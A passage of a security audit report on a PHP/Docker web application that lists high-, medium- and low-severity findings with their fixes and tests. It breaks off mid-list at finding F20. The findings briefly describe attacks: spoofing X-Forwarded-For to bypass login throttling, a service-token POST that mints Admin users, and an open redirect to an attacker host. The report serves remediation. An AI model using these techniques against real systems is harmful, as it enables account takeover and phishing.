Scope: full source tree at
api/src,ui/src,api/docker,ui/docker,Dockerfiles,docker-compose.yml,compose.scheduler.yml,.env.example, Twig templates and Caddy configuration. Vendored dependencies were not audited (nocomposer audit/npm auditwas run for this review).Severity scale: 1 = low / informational, 2 = medium, 3 = high / critical. Severity reflects both impact and ease of exploitation in the documented deployment topology.
Each finding is referenced as F for later citation.
Findings rolled up: 5 sev-3 (5 fixed, 0 open), 27 sev-2 (27 fixed, 0 open), 42 sev-1 (41 fixed, 1 open).
Severity 3 — high / critical
F1 — Login throttle bypass via spoofed
X-Forwarded-For
- Files:
ui/src/Auth/LocalLoginController.php:117-130,ui/src/Auth/LoginThrottle.php:131-137- Risk:
extractSourceIp()reads the first hop ofX-Forwarded-Forwithout verifying the immediate peer is a configured trusted proxy. The throttle bucket is(lower(username), source_ip), so an attacker rotates theX-Forwarded-Forvalue per request — every attempt is a fresh bucket and the 5/10/15-failure ladder never trips. Defeats the documented brute-force protection on the local-admin password. Argon2id slows it but does not prevent it. The UI is also reachable on:8080directly perdocker-compose.yml.- Severity: 3
- Status: Fixed in
466d686.extractSourceIpno longer readsX-Forwarded-For; Caddy'strusted_proxies static private_rangesis the single trust boundary and PHP consumes onlyREMOTE_ADDR. Regression test inui/tests/Integration/Auth/LocalLoginTest.php(testRotatingXForwardedForDoesNotEvadePerIpLockout).F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
- File:
ui/src/Auth/LoginThrottle.php:131-137- Risk: The bucket key is
(username, source_ip). Even ignoring F1, there is no bucket that counts attempts against a username across IPs. An attacker on a distributed source (or a residential proxy pool) gets unlimited password attempts against the singleLOCAL_ADMIN_USERNAMEaccount because each new IP is a fresh bucket.- Severity: 3
- Status: Fixed in
466d686.LoginThrottlenow evaluates a second per-username bucket alongside the per-(user, ip) one with a 25 / 50 / 100 → 60 s / 300 s / 1800 s ladder;isLocked()trips on either bucket andclear()resets both on successful login. Regression tests inui/tests/Unit/Auth/LoginThrottleTest.php(testPerUsernameBucketLocksOutAcrossDistinctIps,testPerUsernameLadderProgresses,testLockoutSecondsRemainingReturnsLargerOfBuckets) andLocalLoginTest::testRotatingRemoteAddrEventuallyHitsPerUsernameLockout.F3 — Service token +
upsertLocalmints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
- Files:
api/src/App/AppFactory.php:156-169,api/src/Application/Auth/AuthController.php:56-77,api/src/Infrastructure/Auth/UserRepository.php:119-159- Risk: The
/api/v1/auth/*route group attaches only$tokenAuth— noRbacMiddleware, no$impersonation, no$auditContext, no$rateLimit. The controller's only check is "kind == Service".UserRepository::upsertLocalunconditionally assignsRole::Adminregardless of input. Anyone holding the service token (in env, masked-prefix-visible in/admin/config, baked into the UI image) canPOST /api/v1/auth/users/upsert-local {"username":"x"}to create a new Admin user id and then impersonate it viaX-Acting-User-Idon every other admin endpoint. A leaked service token is a single-step total compromise with no log trail.- Severity: 3
- Status: Fixed in
8a94dff.UserRepository::upsertLocalnow looks up the existing local row byis_local = 1(not bydisplay_name) and updatesdisplay_name+last_login_aton it; it only inserts when zero local rows exist. Migration20260504100000_add_unique_local_user_indexadds a partial unique index (WHERE is_local = 1on SQLite; functional index over aCASEexpression on MySQL) so a regression in code still fails at the DB. Regression tests inapi/tests/Integration/Auth/AuthEndpointsTest.php(testRotatingUsernamesNeverCreatesAdditionalLocalAdmins,testDbLayerRejectsSecondLocalAdminInsert). The unaudited-write half of the finding (noAuditEmittercall on user creation / role grant) is tracked separately as F5.F4 — Audit emit is non-transactional with state mutation
- Files:
api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48; controller pattern e.g.api/src/Application/Admin/ManualBlocksController.php:138-157,ReportersController.php:103-116, 198-211,PoliciesController.php:135-140, 241-246, 278-283,AllowlistController.php:126-131- Risk: Every admin write performs the mutation first, then calls
audit->emit(...)outside a transaction.DbAuditEmitter::emitcatchesThrowable, logsaudit_emit_failed, and returns void. Any DB error, lock timeout, JSON encoding failure, or process kill between mutation and audit insert leaves the state changed with no audit row. An attacker with admin privileges who can intentionally fail the audit insert (e.g. abusing longdetails_jsonunder MySQL strict mode, or racing audit-table maintenance) mutates state without being audited. Integrity of the audit log depends entirely on a best-effort second write.- Severity: 3
- Status: Fixed in
8d948ae.AuditEmitternow exposes two methods with explicit semantics:emit()(best-effort, swallows infra errors — used only byReportControllerandBlocklistController, the high-volume public paths whose emit is toggleable perapp_settings) andemitOrThrow()(strict, propagates). Every admin write site (ManualBlocksController,AllowlistController,ReportersController,ConsumersController,CategoriesController,PoliciesController,TokensController,AppSettingsController,MaintenanceController.purge/seedDemo,JobsAdminController.trigger, andAuthController.upsertOidc/upsertLocal) now wraps mutation +emitOrThrow()inConnection::transactional(), so any audit insert failure rolls back the originating mutation. Cache invalidations move to post-commit.DbAuditEmitterswitches toJSON_THROW_ON_ERRORso payload encoding failures become typed exceptions instead of a silentfalse. Regression tests inapi/tests/Integration/Audit/AuditRollbackTest.phpdrop theaudit_logtable to force every emit path to fail and assert the target tables (manual_blocks,reporters,allowlist,categories,users) see zero rows added.F5 — User creation and role assignment emit no audit
- Files:
api/src/Application/Auth/AuthController.php:29-77(upsertOidc,upsertLocal)- Risk:
/api/v1/auth/users/upsert-oidcandupsert-localcreate or update users including assigning roles via OIDC group mapping or the local-admin bootstrap, and emit noAuditEmittercalls. Privilege grants and account creation — primary SOC/ISO 27001 events — are invisible in the audit log. Combined with F3, an attacker who compromises the service token can grant themselves Admin without trace.- Severity: 3
- Status: Fixed in
8d948aealongside F4.AuthControllernow wraps each upsert inConnection::transactional()and emitsuser.created(new account, sourceoidcorlocal, with role and groups context) on the bootstrap path, plususer.role_changedwhen a subsequent OIDC login resolves to a different role. The auth route group now attachesAuditContextMiddlewareso the rows carry source IP and request id. Regression tests inapi/tests/Integration/Auth/AuthEndpointsTest.php(testFirstUpsertLocalEmitsUserCreatedAudit,testRotatingUsernamesEmitsOnlyOneUserCreatedAudit,testNewOidcLoginEmitsUserCreatedAudit,testOidcRoleDriftEmitsRoleChangedAudit) andAuditRollbackTest::testUpsertLocalRollsBackWhenAuditInsertFails.
Severity 2 — medium
F6 — Throttle store is per-process in memory; lost on worker recycle
- File:
ui/src/Auth/LoginThrottle.php:38, 43-48, 92- Risk: Counters live only in the FrankenPHP worker process. Worker recycling on memory pressure or fixed request counts wipes counters and gives the attacker fresh attempts. Multi-worker FrankenPHP multiplies allowed attempts by N silently. No persistent (DB / Redis) backing.
- Severity: 2
- Status: Fixed in
d119b72. State moved behind aThrottleStoreabstraction; production wiresFileThrottleStore, a flock-protected JSON file undersys_get_temp_dir()(overridable viaLOGIN_THROTTLE_PATH). All FrankenPHP workers in one container share the same file: counters survive worker recycle and a single counter is incremented across the worker pool. Mutations take an exclusive lock on a sibling.lockfile and write through a temp file + rename, so readers always see a consistent snapshot. Stale entries (lockedUntil + 24 h < now) are GC'd opportunistically. The file lives on the container's ephemeral writable layer, so a container restart still clears it — preserving the documented operator-unlock path. Multi-replica deployments still require sticky-LB mode (SPEC's documented topology). Regression tests inui/tests/Unit/Auth/FileThrottleStoreTest.php(testFailureRecordedOnOneInstanceIsVisibleToAnother,testClearOnOneInstanceIsVisibleToAnother,testCorruptFileIsTreatedAsEmpty,testStaleEntriesGarbageCollected,testWritesGoThroughTempPlusRename,testResetUnlinksFile) andLocalLoginTest::testFailuresArePersistedToConfiguredFilePath.F7 — Username enumeration via response timing on local login
- File:
ui/src/Auth/LocalLoginController.php:77-78- Risk:
password_verifyonly runs afterusernameOkevaluates truthy, so the request takes Argon2id time (tens to hundreds of ms) on a username match versus microseconds on a miss. An unauthenticated attacker enumerates the configuredLOCAL_ADMIN_USERNAMEvalue. Mitigation: always run a dummypassword_verifyagainst a fixed hash regardless of username match.- Severity: 2
- Status: Fixed in
84238e6.LocalLoginControllernow precomputes a dummy Argon2id hash once per worker in its constructor and routespassword_verifyto either the configured admin hash (when set) or the dummy hash (when unset). The verify result is ANDed with the username check and the "configured" check, so a username miss still fails closed but consumes Argon2id time. Also closes the related timing channel where an emptyLOCAL_ADMIN_PASSWORD_HASHpreviously skippedpassword_verifyentirely. Regression tests inui/tests/Integration/Auth/LocalLoginTest.php(testWrongUsernameTriggersPasswordVerify,testUnconfiguredLocalPasswordHashStillRunsPasswordVerify) assert the failure path takes more than 10 ms — well above any path that would skip an Argon2id compare.F8 —
headers_sent()short-circuit silently skips session regeneration / clear
- Files:
ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107- Risk: Both
regenerateId()andclear()are gated on!headers_sent(). If headers are sent before middleware (warning output, accidental whitespace, error rendering), login does not rotate the session id. An attacker who pre-seeded a victim'sirdb_sessioncookie can ride that session post-login (classic session fixation). Should fail-closed instead of silently no-op'ing.- Severity: 2
- Status: Fixed in
f811b25.SessionManagernow distinguishes a CLI/test mode (auto-detected fromPHP_SAPI === 'cli', overridable via constructor) from HTTP mode. In HTTP, bothregenerateId()andclear()throw\RuntimeExceptionwhenheaders_sent()is true, surfaced by Slim as a 500 so the operator chases the upstream output bug rather than silently leaving the pre-auth cookie valid. Under CLI (PHPUnit), a manual rotation path resetssession_id()and preserves$_SESSION, matchingsession_regenerate_id(true)semantics for tests. Theheaders_sent()call is also routed through an injectable closure so unit tests can drive the HTTP fail-closed path without a real web server. Regression tests inui/tests/Unit/Auth/SessionManagerTest.php(testRegenerateIdThrowsInHttpModeWhenHeadersSent,testClearThrowsInHttpModeWhenHeadersSent,testCliFallbackRotatesIdAndPreservesSession).F9 — OIDC session id not regenerated before the handshake starts
- Files:
ui/src/Auth/OidcController.php:39-47, 89,ui/src/Auth/JumbojettOidcAuthenticator.php:33-94- Risk:
state,nonce, andcode_verifierare stashed in$_SESSIONduring/login/oidc. Regeneration only happens after a successfulupsert(line 89). If an attacker can fixate a session id in a victim's browser before/login/oidcis hit (hostile network, sibling subdomain, or the F8 race), the attacker shares the same$_SESSIONand can later hijack the session. Standard hardening regenerates oninitiate()before redirecting to the IdP.- Severity: 2
- Status: Fixed in
2a57589.OidcController::initiatenow callsSessionManager::regenerateId()at the top, before delegating to the authenticator that stashesstate,nonce, and the PKCEcode_verifierin$_SESSION. The OIDC handshake state is therefore bound only to a freshly rotated session id; any pre-fixated cookie is invalidated at this moment. The post-callback rotation is unchanged (defeats anything carrying over). Per F8, the rotation now also fail-closes if response headers were already sent, so it cannot silently no-op. Regression test inui/tests/Integration/Auth/OidcFlowTest.php(testInitiateRotatesSessionIdBeforeAuthenticate) capturessession_id()inside a fake authenticator and asserts it differs from the pre-request id.F10 — Open redirect via attacker-controllable
nextparameter
- Files:
ui/src/Auth/SessionManager.php:139-150(setNext/consumeNext), used byui/src/Auth/OidcController.php:98-100,ui/src/Auth/LocalLoginController.php:106-108,ui/src/Controllers/AllowlistController.php:126-128,ui/src/Controllers/ManualBlocksController.php:168-170- Risk: After a delete action,
nextfrom the form body is sent verbatim asLocation:with no validation that the value starts with a single/(not//evil.example.com) and no scheme allowlist. An authenticated operator/admin tricked into submitting a forged form (or any reflected XSS that auto-submits with the legitimate CSRF token) gets a 303 redirect to an arbitrary host from the trusted IRDB origin — high-quality phishing pivot. The login-flowconsumeNext()path is currently safe (AuthRequiredMiddlewarecontrols the source), butsetNext()itself is unrestricted.- Severity: 2
- Status: Fixed in
55156c5.SessionManager::isSafeRedirectPath()accepts only same-origin paths (must start with/; second char must not be/or\; no control chars including CR/LF/NUL).SessionManager::safeNextOrDefault()returns the candidate iff safe, else a hard-coded literal default.setNext()andconsumeNext()also drop unsafe values silently as defence-in-depth so any future caller is safe even without the helper.AllowlistController::deleteandManualBlocksController::deletenow route thenextform field throughsafeNextOrDefault, so a malicious value falls back to the resource list rather than redirecting the operator to the attacker URL. Regression tests:SessionManagerTestdata-provider truth table forisSafeRedirectPathplustestSetNextDropsUnsafeValueSilently,testConsumeNextRejectsPreviouslyStoredUnsafeValue,testSafeNextOrDefaultUsesDefaultOnUnsafeOrMissing; integration tests inCrudPagesTest(testManualBlockDeleteRejectsOpenRedirectInNext,testManualBlockDeleteHonoursSafeNext,testAllowlistDeleteRejectsOpenRedirectInNext).F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
- Files:
api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77,api/src/Infrastructure/Auth/UserRepository.php:28-37- Risk: Service-token holders can impersonate any user id by setting
X-Acting-User-Id. There is no allow-list, no "disabled"/"locked" check (no such column onusers), and no separate audit signal. Combined with F3, a leaked service token is unconstrained Admin.- Severity: 2
- Status: Fixed. Three layers:
- Active-status gate. Migration
20260504110000_add_disabled_at_to_usersadds nullabledisabled_attousers;User::isDisabled()exposes the predicate;ImpersonationMiddlewarereturns403 user_disabledfor any disabled target (mirroring the unknown-user 403 so attackers cannot use the response to distinguish "missing" from "disabled").AuthController::upsertOidcandupsertLocalshort-circuit with 403 before recomputing role on a disabled row, so a disabled user cannot drift their role via OIDC group membership while disabled.- Distinct audit signal. Migration
20260504110001_add_actor_via_to_audit_logaddsactor_via(oidc|local|admin-token|service|reporter|consumer|system).ImpersonationMiddlewarethreads the resolved user'sis_localflag ontoAuthenticatedPrincipal, andAuditContextMiddlewarederivesactor_viafrom it — so audit rows split impersonated-OIDC from impersonated-local without joiningusers./admin/audit-log?actor_via=localsurfaces only local-admin actions for review.- Admin user-CRUD. New
UsersControllerexposesGET /api/v1/admin/users,GET /{id}, andPATCH /{id}(body{disabled: bool}). PATCH wraps the state change +user.disabled/user.enabledaudit emit inConnection::transactional()per F4. Refused with 409 on self-disable (cannot_disable_self) or on disabling the local-admin row (cannot_disable_local_admin) — the local admin is the documented break-glass path; operators wanting to lock it disable it viaLOCAL_ADMIN_PASSWORD_HASHin the UI's env. UI page at/app/users(admin-only sidebar entry). OIDC and local-login controllers route the upstream403 user_disabledto/no-access(OIDC) or to a generic "invalid credentials" flash (local — probe-resistant). Regression tests:api/tests/Integration/Auth/DisabledUserTest.phpcovers (a) impersonation 403 on disabled rows, (b)upsertOidcrejection without role recompute or audit drift, (c)upsertLocalrejection on disabled local admin, (d)actor_viaderivation for impersonated local vs OIDC vs admin-token paths, (e) admin disable + audit emit + idempotency, (f) self-disable / local-admin-disable 409 guards, (g)/audit-log?actor_via=localfilter. The remaining "allow-list" framing of F11 is by-design per SPEC §8: any user the UI BFF has upserted is impersonatable. The disabled flag is the operator's lever to revoke that consent.F12 — Local-admin lookup matches on
display_namewithout uniqueness guarantee
- Files:
api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160- Risk:
findLocalByUsername()matches ondisplay_nameANDis_local=1, with no DB-enforced uniqueness on the pair.LIMIT 1silently picks one row. A hostile/compromised IdP that pushes an OIDC user with the samedisplay_name(and a later data fix flippingis_local) could be matched on local-admin login, binding the local-admin password to the wrong identity.- Severity: 2
- Status: Fixed in
4006743. The display-name match was already removed by the F3 fix (8a94dff) —findLocal()looks up byis_local = 1and the partial unique indexuniq_users_one_localenforces "at most one local row" at the DB. F12's residual concern (a row reaching the stateis_local=1 AND subject IS NOT NULLvia direct DB tampering) is now addressed in two layers:
- Application:
UserRepository::findLocal()addsAND subject IS NULLto the query. A row withis_local=1but a non-null OIDC subject is structurally not a local-admin row and will not bind the local-admin password —upsertLocalthen trips the unique-index INSERT, surfacing the tamper as a 500.- DB: Migration
20260505100000_add_users_local_subject_invariantenforces the same predicate at the storage layer — MySQL via aCHECK (NOT (is_local = 1 AND subject IS NOT NULL))constraint, SQLite via pairedBEFORE INSERT/BEFORE UPDATEtriggers thatRAISE(ABORT)on the violating predicate. So a "data fix" script attemptingUPDATE users SET is_local = 1 WHERE id = …against an OIDC row fails at the DB before any login can bind. Regression tests inapi/tests/Integration/Auth/AuthEndpointsTest.php(testDbLayerRejectsInsertingLocalRowWithNonNullSubject,testDbLayerRejectsFlippingIsLocalOnOidcRow,testFindLocalIgnoresHijackedRowEvenIfDbConstraintIsBypassed).F13 — Service token rotation leaves the old hash valid indefinitely
- File:
api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89- Risk: When the bootstrap detects a different service-kind row (rotation in progress), it inserts the new row but does not revoke the old. Both tokens remain valid. With no operator tooling for service-token revocation, rotated tokens may live forever in
api_tokens. If an old token leaks (config snapshot, image layer) the attacker authenticates indefinitely.- Severity: 2
- Status: Fixed in
40be6c1.ServiceTokenBootstrapnow wraps revoke-old + insert-new inConnection::transactional()(per F4): when the configuredUI_SERVICE_TOKENdoes not match any current row but one or more service-kind rows are currently active, every active service-kind row isrevoked_at = now()'d before the new row is inserted. The revokes and the create roll back together if any step fails — there is never an observable window with no service token. New repository methodTokenRepository::findActiveServiceTokens()enumerates the rows to revoke. The bootstrap also refuses to silently re-enable a hash that is already present-but-revoked (operator must issue a fresh value rather than rolling env back). Each revoke emits atoken.revokedaudit row withdetails_json.reason = "rotated_by_bootstrap"and the create emits atoken.createdrow carryingsource: "bootstrap"and arotated_fromarray of revoked prefixes — so SOC tooling can attribute the rotation and split automatic from operator-initiated revocations. Both audit rows are attributed toactor_kind=systemviaAuditContext::system(). Regression tests inapi/tests/Integration/Auth/ServiceTokenBootstrapTest.php(testBootstrapWithDifferentTokenRevokesPreviousAndInsertsNewRow,testBootstrapRotationRevokesEveryPreviouslyActiveServiceToken,testBootstrapRotationEmitsRevokedAndCreatedAuditRows,testBootstrapRefusesToReEnablePreviouslyRevokedToken).F14 —
/api/v1/auth/*has no rate limit
- File:
api/src/App/AppFactory.php:156-169- Risk: The auth group has only
$tokenAuth.RateLimitMiddlewareis not attached.getUser/{id}allows enumeration (F17), and combined with F3 a leaked service token gets unlimited writes.- Severity: 2
- Status: Fixed in
9849779. The/api/v1/auth/*route group now attachesRateLimitMiddlewarealongsideTokenAuthenticationMiddlewareandAuditContextMiddleware. Per-token-id token-bucket — same limiter the public group uses — caps a burst atAPI_RATE_LIMIT_PER_SECOND × 2(default 60/s, capacity 120) per service token. The bucket bails out gracefully when no principal is present (auth failure) so it doesn't stack withTokenAuthenticationMiddleware's 401 path. Caps the enumeration speed ofGET /users/{id}(a residual exposure tracked by F17), and bounds amplification of any service-token-leak abuse againstupsert-local/upsert-oidc. Regression tests inapi/tests/Integration/Public/RateLimitTest.php(testAuthGetUserRouteIsRateLimited,testAuthUpsertLocalRouteIsRateLimited) burst the auth endpoints past capacity under a tight FixedClock+limiter and assert the expected 429 ceiling.F15 —
MaintenanceController::seedDemorequires no confirmation token
- File:
api/src/Application/Admin/MaintenanceController.php:279-288- Risk: Asymmetric with
purgewhich gates onconfirm: "PURGE". Any actor with admin role (or a compromised service token via F3) can issue a single POST and load thousands of synthetic reports/IPs/blocks into a production database. The 409 "already_seeded" check is keyed only on a literal demo-named reporter, so after a partial purge the seed will re-fire. Also a cheap repeated-write DoS.- Severity: 2
- Status: Fixed in
5c15fc5.MaintenanceController::seedDemonow requiresconfirm: "SEED"in the request body and returns400 validation_failedotherwise — symmetric withpurge's"PURGE"gate. The check runs before the 409 already-seeded shortcut and before any DB write, so a drive-by POST or repeated cost-imposition burst is rejected without touchingreporters. The OpenAPI spec (api/public/openapi.yamlandapi/openapi.php) documents the new request body and the 400 response. The UI BFF is updated end-to-end:AdminClient::seedDemosendsconfirm: "SEED"(ui/src/ApiClient/AdminClient.php),SettingsController::seedDemorequires the user to typeSEEDin the form and surfaces a flash error otherwise (ui/src/Controllers/SettingsController.php), and the seed-demo modal mirrors the purge modal's typed-confirm UX inui/resources/views/pages/settings/index.twig. Regression testtestSeedDemoRequiresLiteralConfirmStringinapi/tests/Integration/Admin/MaintenanceControllerTest.phpasserts both no-body and wrong-literal POSTs return 400 and that noreporters/reportsrows landed; the existingtestSeedDemoPopulatesDataAndIsIdempotent/testSeedDemoForbiddenForViewercases were updated to send the new body.F16 — Admin-role API tokens are not bound to a
user_id→ privilege persists after offboarding
- Files:
api/src/Application/Admin/TokensController.php:142-155, 166-177,api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67,api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59- Risk: When an Admin user creates an admin-kind token, the
TokenRecordcarriesrolebut nouserId. If the user issuing the token is later demoted/disabled/removed, the token continues to grant Admin until manually revoked. There is no UI/API to list tokens by issuer.- Severity: 2
Status: Fixed in
947ab89. Three layers close the gap:
- Schema. Migration
20260505110000_add_user_id_to_api_tokensadds nullableapi_tokens.user_id. On MySQL it carries an FK tousers(id)withON DELETE CASCADE— a hard-deleted user takes the tokens they issued with them. SET NULL was rejected because reverting to a NULLuser_idwould let the token re-enter the grandfathered legacy path. SQLite cannot add an FK via ALTER TABLE, so deletion-time enforcement on that driver falls back to the application layer (issuer-row lookup returns null → 401). The system has no API-level user-deletion path; both drivers behave identically for the actual offboarding flows (disable + role demote).- Binding.
TokensController::createwrites the acting user's id into the new column forkind=admintokens only. Reporter / consumer / service tokens stay user-less — they are device credentials, not delegated user privilege.TokenRecordcarries the newuserIdfield; the create response and list response surfaceuser_id, the list also denormalises auser_label(display name, email, oruser#N). Admin tokens minted viabin/console tokens:createcarry NULL and are grandfathered — operators rotate those after deploy if they want strict binding.- Enforcement.
TokenAuthenticationMiddlewareinjectsUserRepository; for any admin-kind token with non-nulluser_idit loads the issuer and refuses the token (401, same shape as every other auth failure) if the issuer row is missing, hasdisabled_atset, or has a current role that doesn't satisfy the token's bound role (role.satisfies(token.role)). NULLuser_idskips the check, preserving the grandfathered path. ImpersonationMiddleware still validates the impersonated user separately (F11), so a service token that claims to be a disabled user is still 403'd before the role check fires.UI:
/app/tokensadds an Issuer column showinguser_label(oruser#Nfor deleted issuers, or—for legacy / console-issued tokens). OpenAPI yaml +openapi.phpdocument the new fields.Regression tests in
api/tests/Integration/Auth/TokenIssuerBindingTest.php:testAdminTokenCreatedViaApiIsBoundToActingAdmin(binding + audit row attribution),testReporterTokenCreatedViaApiIsNotBoundToUser(admin-only binding),testListSurfacesIssuerLabel(denormalised label),testBoundAdminTokenAuthenticatesWhileIssuerActive(happy path),testBoundAdminTokenIsRejectedAfterIssuerDisabled(F11 intersect),testBoundAdminTokenIsRejectedAfterIssuerDemotedBelowTokenRole(Admin-token-after-Viewer-demote → 401),testBoundAdminTokenStillAuthenticatesIfIssuerHasMatchingRole(Viewer token held by Admin issuer still works),testBoundAdminTokenIsRejectedIfIssuerRowIsGone(deletion fallback on SQLite),testLegacyUnboundAdminTokenStillAuthenticates(grandfathering).F17 —
GET /api/v1/auth/users/{id}enables enumeration of internal user records
- File:
api/src/Application/Auth/AuthController.php:79-104- Risk: A service-token holder can iterate
/users/1,/users/2, ... and exfiltrate every user'sdisplay_name,role,is_local. No rate limit (F14), no audit (F5), no defensive sleep.- Severity: 2
Status: Fixed by F14 (rate limit) and read-side audit added in
57ab1ba.
Rate limit. F14 already attaches
RateLimitMiddlewareto the/api/v1/auth/*route group, so a leaked service token is capped atAPI_RATE_LIMIT_PER_SECOND × 2(default 60/s, capacity 120) per token id — bothgetUser/{id}enumeration andupsert-{oidc,local}abuse are bucketed on the same limiter.Read-side audit. New
AuditAction::USER_FETCHEDconstant (user.fetched).AuthController::getUsernow emits a best-effort audit row on both the 200 (outcome: found,target_label = email|display_name) and 404 (outcome: not_found,target_label = null) paths. The 400 malformed-id path stays silent — that's a protocol error, not a valid-shape probe.emit()(best-effort) is used so a DB hiccup on the audit insert does not 500 a UI session refresh; volume is bounded by the F14 rate limit anyway. This is the only read action recorded inaudit_log— every other action recorded there is state-changing per SPEC §4. The exception is documented inline at the constant.No defensive sleep. Skipped intentionally. The 200/404 bodies differ structurally (
{"user_id": ...}vs{"error":"not_found"}), so existence is trivially detectable from the response — timing is not the leak vector here. Addingusleepwould only impose latency on legitimate UI session refreshes without strengthening the actual mitigation surface.Regression tests in
api/tests/Integration/Auth/AuthEndpointsTest.php:testGetUserFoundEmitsUserFetchedAudit(200 path emits row withoutcome=foundand email label),testGetUserNotFoundEmitsUserFetchedAudit(404 path emits row withoutcome=not_foundand null label),testGetUserInvalidIdDoesNotEmitAudit(malformed id stays silent),testEnumerationProducesOneAuditRowPerProbe(a 5-id sweep produces exactly 5user.fetchedrows — the SOC detection signal). OpenAPI yaml +openapi.phpdocument the audit emission and the 404 response.F18 — Containers run as root (no
USERdirective)
- Files:
api/Dockerfile:42-43,ui/Dockerfile:46-47- Risk: Neither Dockerfile sets a
USER. PHP/FrankenPHP/Caddy run as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy CVE gets root inside the container. No--chownonCOPY. Theirdb-data:/datavolume is owned by root.- Severity: 2
- Status: Fixed in
33179d8. Bothapi/Dockerfileandui/Dockerfilenow create anappsystem user (UID/GID 1000) and switch to it viaUSER appafter the last root-required step (apk,install-php-extensions,chmod +x,mkdir/chown). FrankenPHP/Caddy bind to unprivileged ports (8080/8081) — nosetcapis needed.Layout choices:
/appstays root-owned and world-readable. The runtime needs only read access; leaving source root-owned is a partial mitigation for F20 (an attacker landing RCE underappcannot overwrite/app/vendor/**or/app/public/index.phpto persist). Tightening the read-only stance further (e.g. mounting/appread-only at runtime) is tracked separately by F20./datais app-owned so phinx migrations, theauth:bootstrap-service-tokenconsole call, and runtime SQLite writes succeed without root. Newly-created Docker named volumes (irdb-data) inherit this ownership on first creation./home/app/.configand/home/app/.local/shareare pre-created and app-owned;XDG_CONFIG_HOME/XDG_DATA_HOMEpoint at them so Caddy's autosaved-config and TLS-cache state has somewhere to land without falling back to/root.- PHP sessions in the UI continue to use the default
/tmpsave path (world-writable), so no extra mount is required.Upgrade note for operators. Existing volumes from pre-F18 deployments were created when
/datawas root-owned; after pulling this image the new uid=1000 process cannot write to them and phinx fails withattempt to write a readonly database. Recover with either of:# one-shot chown (preserves data) docker run --rm -u 0 -v irdb_irdb-data:/data alpine chown -R 1000:1000 /data # or, if the SQLite data is disposable docker compose down -v && docker compose up -dDocumented in the upgrade section of the deployment notes.
Verification: rebuilt both images and confirmed
docker compose exec api id/exec ui idreportuid=1000(app), the api healthz returns 200, all 429 integration tests still pass under the new user, and the UI Caddy log showsserving initial configurationwith TLS storage at/home/app/.local/share/caddy.F19 — No
.dockerignore— host artifacts baked into images
- Files: build context roots
api/,ui/;COPY . ./linesapi/Dockerfile:31,ui/Dockerfile:37- Risk: No
.dockerignoreships in either subproject.tests/,db/migrations/,bin/console,.phpstan.cache/,.phpunit.cache/,node_modules/(UI),composer.lockare baked into the image. The repo-root.envis outside the build context by happenstance — any future developer who drops.env,.env.local, or a fixture intoapi/orui/will silently bake it into the published image. Test fixtures andbin/consoleare also available to any future LFI / arbitrary-file-read primitive.- Severity: 2
Status: Fixed in
96eaa10.api/.dockerignoreandui/.dockerignorenow apply to both build contexts and explicitly exclude:
.env/.env.*— the central F19 concern. Compose loads.envfrom the repo root (outside both build contexts), so nothing here is needed at runtime; blocking the pattern outright keeps any future stray secret file from shipping in the image.tests/— fixtures and integration scaffolding that doubles as LFI surface area.- Dev-tooling caches and configs:
.phpunit.cache/,.phpunit.result.cache,.phpstan.cache/,.php-cs-fixer.cache,.php-cs-fixer.dist.php,phpstan.neon,phpunit.xml.- VCS / editor noise:
.git,.gitignore,.gitattributes,.idea/,.vscode/,*.swp,*~,.DS_Store.CHANGELOG.md,Dockerfile,.dockerignore,.claude/.vendor/(both subprojects) andnode_modules/(ui) — the multi-stage builds install clean copies in thedeps/assetsstages and pull them in viaCOPY --from=.... Excluding the host copies also fixes a subtle bug: inapi/Dockerfile:30-31andui/Dockerfile:36-37, theCOPY --from=deps /app/vendor ./vendorline is followed immediately byCOPY . ./, which would have clobbered the deps-stage vendor with whatever the host had (typically acomposer install-with-dev tree).Things that ARE needed at runtime stay in the context:
src/,public/,config/,docker/,composer.json,composer.lock; api also keepsdb/migrations/,db/seeds/,bin/console, andopenapi.php; ui also keepsresources/(Twig views are loaded at runtime, andresources/css|js/are consumed by the assets stage). The uipackage.json,package-lock.json,tailwind.config.js, andpostcss.config.jsare kept because the assets stage references them by name —.dockerignoreapplies to every stage that shares the same context, so excluding them would breaknpx tailwindcss/npx esbuild. They are tiny and non-sensitive.
bin/console(api) is intentionally retained —entrypoint.shinvokesphp bin/console auth:bootstrap-service-tokenon every api start, andphinx migrateplus the seeders run from themigratemode. Removing them would break startup; the LFI-surface concern is mitigated by F18 (image runs as uid 1000, source tree is root-owned and read-only to the runtime user) and tracked further by F20.Verification: rebuilt both images; confirmed the excluded paths (tests, dev caches,
.dockerignore,Dockerfile,.git, uinode_modules) are absent from/app/in the final images and the runtime-required paths (src,public,config,db/migrations,db/seeds,bin/console,vendor,docker,openapi.php, uiresources/views, uipublic/assets/{app.css,app.js,logo.svg}) are present. api phpunit is 429/430 — the lone failure is the timing-sensitiveBlocklistPerfTest::test50kEntriesUnder500Msperf-budget assertion (628 ms vs 500 ms budget), unrelated to this change. ui phpunit is 134/134.F20 — Application source is writable by the process serving requests
- Files:
api/Dockerfile:36-38,ui/Dockerfile:42- Risk: Combined with F18, any RCE-grade bug allows the attacker to overwrite PHP source files in
/app(vendor, src,public/index.php) and persist via the next request. AUSERdirective plus stricter perms (read-only/app, writable only/data) blocks this persistence path.- Severity: 2
Status: Fixed in
1ec9d04. F18 already made/approot-owned so the unprivilegedappuser cannot write to it through standard ownership/perm checks. F20 layers on a kernel-level read-only rootfs at runtime so the same protection holds even against a primitive that bypasses uid checks (e.g. capability escalation, or a future regression that flips ownership). All three services indocker-compose.ymlnow carry:read_only: true tmpfs: - /tmp:uid=1000,gid=1000,mode=1777 - /home/app/.config:uid=1000,gid=1000,mode=0700 - /home/app/.local/share:uid=1000,gid=1000,mode=0700Writable paths are restricted to:
